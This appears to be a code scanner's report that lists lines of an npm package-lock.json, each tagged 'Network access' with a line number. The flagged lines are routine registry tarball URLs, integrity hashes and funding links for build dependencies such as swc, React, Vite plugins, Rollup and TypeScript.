"node_modules/@swc/core-linux-x64-gnu": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.15.8.tgz", - Network accessline 1238
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.15.8.tgz", "integrity": "sha512-4p6lOMU3bC+Vd5ARtKJ/FxpIC5G8v3XLoPEZ5s7mLR8h7411HWC/LmTXDHcrSXRC55zvAVia1eldy6zDLz8iFQ== - Network accessline 1239
"resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.15.8.tgz", - Network accessline 1254
"node_modules/@swc/core-linux-x64-musl": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.15.8.tgz", - Network accessline 1255
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.15.8.tgz", "integrity": "sha512-z3XBnbrZAL+6xDGAhJoN4lOueIxC/8rGrJ9tg+fEaeqLEuAtHSW2QHDHxDwkxZMjuF/pZ6MUTjHjbp8wLbuRLA - Network accessline 1256
"resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.15.8.tgz", - Network accessline 1271
"node_modules/@swc/core-win32-arm64-msvc": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.15.8.tgz", - Network accessline 1272
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.15.8.tgz", "integrity": "sha512-djQPJ9Rh9vP8GTS/Df3hcc6XP6xnG5c8qsngWId/BLA9oX6C7UzCPAn74BG/wGb9a6j4w3RINuoaieJB3t - Network accessline 1273
"resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.15.8.tgz", - Network accessline 1288
"node_modules/@swc/core-win32-ia32-msvc": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.15.8.tgz", - Network accessline 1289
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.15.8.tgz", "integrity": "sha512-/wfAgxORg2VBaUoFdytcVBVCgf1isWZIEXB9MZEUty4wwK93M/PxAkjifOho9RN3WrM3inPLabICRCEgdHpK - Network accessline 1290
"resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.15.8.tgz", - Network accessline 1305
"node_modules/@swc/core-win32-x64-msvc": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.15.8.tgz", - Network accessline 1306
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.15.8.tgz", "integrity": "sha512-GpMePrh9Sl4d61o4KAHOOv5is5+zt6BEXCOCgs/H0FLGeii7j9bWDE8ExvKFy2GRRZVNR1ugsnzaGWHKM6kuzA - Network accessline 1307
"resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.15.8.tgz", - Network accessline 1322
"node_modules/@swc/counter": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz", - Network accessline 1323
"version": "0.1.3", "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz", "integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==", - Network accessline 1324
"resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz", - Network accessline 1329
"node_modules/@swc/types": { "version": "0.1.25", "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.25.tgz", - Network accessline 1330
"version": "0.1.25", "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.25.tgz", "integrity": "sha512-iAoY/qRhNH8a/hBvm3zKj9qQ4oc2+3w1unPJa2XvTK3XjeLXtzcCingVPw/9e5mn1+0yPqxcBGp9Jf0pkfMb1g==", - Network accessline 1331
"resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.25.tgz", - Network accessline 1339
"node_modules/@types/babel__core": { "version": "7.20.5", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - Network accessline 1340
"version": "7.20.5", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", - Network accessline 1341
"resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - Network accessline 1353
"node_modules/@types/babel__generator": { "version": "7.27.0", "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - Network accessline 1354
"version": "7.27.0", "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", - Network accessline 1355
"resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - Network accessline 1363
"node_modules/@types/babel__template": { "version": "7.4.4", "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - Network accessline 1364
"version": "7.4.4", "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", - Network accessline 1365
"resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - Network accessline 1374
"node_modules/@types/babel__traverse": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - Network accessline 1375
"version": "7.28.0", "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", - Network accessline 1376
"resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - Network accessline 1384
"node_modules/@types/estree": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - Network accessline 1385
"version": "1.0.8", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - Network accessline 1386
"resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - Network accessline 1391
"node_modules/@types/react": { "version": "19.2.7", "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz", - Network accessline 1392
"version": "19.2.7", "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz", "integrity": "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg==", - Network accessline 1393
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz", - Network accessline 1401
"node_modules/@types/react-dom": { "version": "19.2.3", "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", - Network accessline 1402
"version": "19.2.3", "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", - Network accessline 1403
"resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", - Network accessline 1411
"node_modules/@vitejs/plugin-react": { "version": "4.7.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", - Network accessline 1412
"version": "4.7.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==", - Network accessline 1413
"resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", - Network accessline 1432
"node_modules/@vitejs/plugin-react-swc": { "version": "3.11.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react-swc/-/plugin-react-swc-3.11.0.tgz", - Network accessline 1433
"version": "3.11.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react-swc/-/plugin-react-swc-3.11.0.tgz", "integrity": "sha512-YTJCGFdNMHCMfjODYtxRNVAYmTWQ1Lb8PulP/2/f/oEEtglw8oKxKIZmmRkyXrVrHfsKOaVkAc3NT9/dMutO5w==" - Network accessline 1434
"resolved": "https://registry.npmjs.org/@vitejs/plugin-react-swc/-/plugin-react-swc-3.11.0.tgz", - Network accessline 1446
"node_modules/baseline-browser-mapping": { "version": "2.9.11", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz", - Network accessline 1447
"version": "2.9.11", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz", "integrity": "sha512-Sg0xJUNDU1sJNGdfGWhVHX0kkZ+HWcvmVymJbj6NSgZZmW/8S9Y2HQ5euytnIgakgxN6papOAWiwDo1ct - Network accessline 1448
"resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz", - Network accessline 1456
"node_modules/browserslist": { "version": "4.28.1", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", - Network accessline 1457
"version": "4.28.1", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", - Network accessline 1458
"resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", - Network accessline 1462
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 1463
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 1464
"url": "https://opencollective.com/browserslist" - Network accessline 1466
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 1467
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, - Network accessline 1468
"url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 1470
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 1471
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 1472
"url": "https://github.com/sponsors/ai" - Network accessline 1490
"node_modules/caniuse-lite": { "version": "1.0.30001762", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001762.tgz", - Network accessline 1491
"version": "1.0.30001762", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001762.tgz", "integrity": "sha512-PxZwGNvH7Ak8WX5iXzoK1KPZttBXNPuaOvI2ZYU7NrlM+d9Ov+TUvlLOBNGzVXAntMSMMlJPd+jY6ovrVjSmUw==", - Network accessline 1492
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001762.tgz", - Network accessline 1496
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 1497
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 1498
"url": "https://opencollective.com/browserslist" - Network accessline 1500
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - Network accessline 1501
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" }, - Network accessline 1502
"url": "https://tidelift.com/funding/github/npm/caniuse-lite" - Network accessline 1504
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 1505
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 1506
"url": "https://github.com/sponsors/ai" - Network accessline 1511
"node_modules/convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 1512
"version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - Network accessline 1513
"resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 1518
"node_modules/csstype": { "version": "3.2.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - Network accessline 1519
"version": "3.2.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - Network accessline 1520
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - Network accessline 1525
"node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 1526
"version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - Network accessline 1527
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 1543
"node_modules/electron-to-chromium": { "version": "1.5.267", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", - Network accessline 1544
"version": "1.5.267", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw= - Network accessline 1545
"resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", - Network accessline 1550
"node_modules/esbuild": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", - Network accessline 1551
"version": "0.25.12", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", - Network accessline 1552
"resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", - Network accessline 1592
"node_modules/escalade": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - Network accessline 1593
"version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - Network accessline 1594
"resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - Network accessline 1602
"node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 1603
"version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - Network accessline 1604
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 1620
"node_modules/fsevents": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 1621
"version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - Network accessline 1622
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 1635
"node_modules/gensync": { "version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - Network accessline 1636
"version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", - Network accessline 1637
"resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - Network accessline 1645
"node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - Network accessline 1646
"version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - Network accessline 1647
"resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - Network accessline 1652
"node_modules/jsesc": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - Network accessline 1653
"version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", - Network accessline 1654
"resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - Network accessline 1665
"node_modules/json5": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - Network accessline 1666
"version": "2.2.3", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - Network accessline 1667
"resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - Network accessline 1678
"node_modules/lru-cache": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - Network accessline 1679
"version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - Network accessline 1680
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - Network accessline 1688
"node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 1689
"version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - Network accessline 1690
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 1695
"node_modules/nanoid": { "version": "3.3.11", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - Network accessline 1696
"version": "3.3.11", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - Network accessline 1697
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - Network accessline 1701
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 1702
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 1703
"url": "https://github.com/sponsors/ai" - Network accessline 1714
"node_modules/node-releases": { "version": "2.0.27", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", - Network accessline 1715
"version": "2.0.27", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", - Network accessline 1716
"resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", - Network accessline 1721
"node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 1722
"version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - Network accessline 1723
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 1728
"node_modules/picomatch": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - Network accessline 1729
"version": "4.0.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - Network accessline 1730
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - Network accessline 1736
}, "funding": { "url": "https://github.com/sponsors/jonschlinkert" - Network accessline 1737
"funding": { "url": "https://github.com/sponsors/jonschlinkert" } - Network accessline 1738
"url": "https://github.com/sponsors/jonschlinkert" - Network accessline 1741
"node_modules/postcss": { "version": "8.5.6", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", - Network accessline 1742
"version": "8.5.6", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", - Network accessline 1743
"resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", - Network accessline 1747
{ "type": "opencollective", "url": "https://opencollective.com/postcss/" - Network accessline 1748
"type": "opencollective", "url": "https://opencollective.com/postcss/" }, - Network accessline 1749
"url": "https://opencollective.com/postcss/" - Network accessline 1751
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" - Network accessline 1752
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" }, - Network accessline 1753
"url": "https://tidelift.com/funding/github/npm/postcss" - Network accessline 1755
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 1756
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 1757
"url": "https://github.com/sponsors/ai" - Network accessline 1770
"node_modules/react": { "version": "19.2.3", "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", - Network accessline 1771
"version": "19.2.3", "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==", - Network accessline 1772
"resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", - Network accessline 1779
"node_modules/react-dom": { "version": "19.2.3", "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz", - Network accessline 1780
"version": "19.2.3", "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz", "integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==", - Network accessline 1781
"resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz", - Network accessline 1791
"node_modules/react-refresh": { "version": "0.17.0", "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", - Network accessline 1792
"version": "0.17.0", "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==", - Network accessline 1793
"resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", - Network accessline 1801
"node_modules/rollup": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz", - Network accessline 1802
"version": "4.54.0", "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz", "integrity": "sha512-3nk8Y3a9Ea8szgKhinMlGMhGMw89mqule3KWczxhIzqudyHdCIOHw8WJlj/r329fACjKLEh13ZSk7oE22kyeIw==", - Network accessline 1803
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz", - Network accessline 1843
"node_modules/scheduler": { "version": "0.27.0", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", - Network accessline 1844
"version": "0.27.0", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", - Network accessline 1845
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", - Network accessline 1849
"node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 1850
"version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - Network accessline 1851
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 1859
"node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - Network accessline 1860
"version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - Network accessline 1861
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - Network accessline 1869
"node_modules/tinyglobby": { "version": "0.2.15", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - Network accessline 1870
"version": "0.2.15", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - Network accessline 1871
"resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - Network accessline 1881
}, "funding": { "url": "https://github.com/sponsors/SuperchupuDev" - Network accessline 1882
"funding": { "url": "https://github.com/sponsors/SuperchupuDev" } - Network accessline 1883
"url": "https://github.com/sponsors/SuperchupuDev" - Network accessline 1886
"node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 1887
"version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - Network accessline 1888
"resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 1900
"node_modules/update-browserslist-db": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - Network accessline 1901
